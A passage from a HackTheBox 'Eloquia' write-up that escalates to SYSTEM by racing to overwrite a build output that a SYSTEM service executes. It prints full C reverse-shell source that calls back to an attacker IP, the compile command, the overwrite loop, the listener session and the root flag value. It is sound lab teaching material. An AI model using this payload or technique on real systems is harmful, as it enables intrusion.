Directory: C:\Program Files\Qooqle IPS Software


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/30/2024 1:44 PM Failure2Ban - Prototype


*Evil-WinRM* PS C:\Program Files\Qooqle IPS Software> cd "Failure2Ban - Prototype"
*Evil-WinRM* PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype> ls


Directory: C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/1/2024 8:53 PM Failure2Ban
-a---- 4/23/2024 5:18 AM 923 Failure2Ban.sln
-a---- 4/30/2024 12:55 AM 56832 Failure2Ban.v11.suo

A .sln and a .suo — this is not a deployed application, it’s a Visual Studio solution directory that somebody left in Program Files. Reading the project source tells us what it does: it’s a Windows Service that wakes up every 30 seconds, scans a login log for failed authentication attempts, and after ten failures from one IP creates a Windows Firewall rule to block it. A Fail2Ban clone for Windows, running as SYSTEM.

The interesting part isn’t the code. It’s the directory layout. Builds go to Failure2Ban\bin\debug\Failure2Ban.exe, and on this box something is rebuilding and re-running that project on a loop. Which hands us the classic Visual Studio escalation: the build output path is writable by us, and the thing that executes it is SYSTEM. We don’t need to find a bug in the service at all. We just need our file to be the one sitting at bin\debug\Failure2Ban.exe when SYSTEM goes to run it.

It’s a race, though, and a genuine one — during the build the file is locked, and immediately after the build it gets executed. The window where it’s written but not yet running is small and we don’t control when it opens.

First, a payload. Same idea as the SQLite DLL but as a standalone EXE, with one important addition:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/Desktop]
└─$ cat rev.c
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

#define CLIENT_IP "10.10.16.79"
#define CLIENT_PORT 4444

int main(void)
{
WSADATA wsaData;
SOCKET sockt;
struct sockaddr_in sa;
STARTUPINFOA sinfo;
PROCESS_INFORMATION pinfo;

/* Initialize Winsock */
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return 1;
}

/* Create socket */
sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

if (sockt == INVALID_SOCKET) {
WSACleanup();
return 1;
}

/* Setup target address */
sa.sin_family = AF_INET;
sa.sin_port = htons(CLIENT_PORT);
sa.sin_addr.s_addr = inet_addr(CLIENT_IP);

/* Retry connection until successful */
while (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) == SOCKET_ERROR) {
Sleep(5000);
}

/* Setup process startup info */
ZeroMemory(&sinfo, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
sinfo.hStdInput = (HANDLE)sockt;
sinfo.hStdOutput = (HANDLE)sockt;
sinfo.hStdError = (HANDLE)sockt;

/* Launch command shell */
char cmd[] = "cmd.exe";

if (CreateProcessA(
NULL, cmd, NULL, NULL, TRUE,
CREATE_NO_WINDOW, NULL, NULL,
&sinfo, &pinfo
)) {
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}

closesocket(sockt);
WSACleanup();

return 0;
}

The addition is the retry loop around connect(). Because we don’t know when SYSTEM will execute our binary, a one-shot connect that fires before the listener is up just dies silently and we’ve burned the overwrite. Retrying every five seconds forever means the payload can sit there patiently for as long as it takes.

1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ x86_64-w64-mingw32-gcc rev.c -o rev.exe -lws2_32 -mwindows -s -Wl,--strip-all

-mwindows builds it as a GUI subsystem binary so no console window flashes up, and -s -Wl,--strip-all keeps it small.

Upload rev.exe to olivia.kat‘s Documents with evil-winrm’s upload, then run the race from the build output directory. The loop is deliberately as tight as PowerShell will go — no sleep, no logging, nothing between attempts. It spins, failing with a file-lock exception every iteration, until the instant the lock drops:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\debug> while ($true) {
try {
Copy-Item "/users/olivia.kat/documents/rev.exe" "./Failure2Ban.exe" -Force -ErrorAction Stop
Write-Host "[+] Overwrite successful"
break
} catch {
}
}
[+] Overwrite successful

-ErrorAction Stop is what makes this work: Copy-Item‘s sharing violation is a non-terminating error by default, so without it the catch never fires and the loop can’t tell success from failure. The empty catch block is the whole point — we expect to fail hundreds of times and we only care about the one time we don’t.

Root Flag

Listener on 4444, and we wait for the next build-and-run cycle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.79] from (UNKNOWN) [10.129.3.210] 51212
Microsoft Windows [Version 10.0.17763.8027]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd /users/administrator/desktop
cd /users/administrator/desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt
a2d3e758f8df22d7719d86d376824236

nt authority\system, and the service even dropped us into C:\Windows\system32 for free.

Key Takeaways

Layer Vulnerability Impact
OAuth2 account linking Callback is a cookie-authenticated GET with no state parameter Account-link CSRF
AngularJS ngSanitize CVE-2025-2336 — xlink:href on SVG <image> survives sanitisation Forced authenticated GET from the admin bot
Admin panel Saved queries run raw SQLite with extension loading enabled load_extension() on an uploaded DLL = RCE as eloquia\web
File upload Banner handler accepts any file type into a known web path Somewhere to put the DLL
Microsoft Edge Saved passwords recoverable in-context via DPAPI key + AES-GCM olivia.kat credentials
Credential hygiene Web-app password reused as the Windows account password WinRM as olivia.kat
Visual Studio project Build output in a user-writable path, executed by a SYSTEM service Race-condition overwrite → SYSTEM

The one I’d actually take away from this box is the first one, because it’s the step people are most likely to under-rate when they meet it in the wild. We had an XSS that couldn’t run script. On a normal target you’d write that up as “low — forced request, no script execution” and move on. Here it was game over for the admin account, and the reason is that the application’s authentication flow was reachable by exactly the primitive our injection bug produced. The severity of a bug is never a property of the bug on its own; it’s a property of what happens to sit next to it.

And the thing that makes the OAuth link exploitable isn’t exotic either. It’s one absent parameter. state exists for precisely this — binding the callback to the session that initiated the flow — and when it’s missing, “which account approved this” and “which account gets linked” stop being the same question. Any time you see an OAuth callback that’s a bare GET with no state, that’s the first thing to try.

Then there’s the honourable mention: a .sln file in C:\Program Files. Nobody intends to ship a Visual Studio solution to production, but when it happens, bin\debug\ is a file path an unprivileged user can write to and a privileged process will execute. That’s not even an exploit, it’s just the build system doing its job on behalf of the wrong person.

That was it for Eloquia, hope you learned something new!

  • 0xkujen
  • Title: Hackthebox: Eloquia
  • Author: Foued SAIDI
  • Created at : 2026-10-16 19:10:00
  • Updated at : 2026-10-17 01:00:34
  • Link: https://kujen5.github.io/2026/10/16/Hackthebox-Eloquia/
  • License: This work is licensed under CC BY-NC-SA 4.0.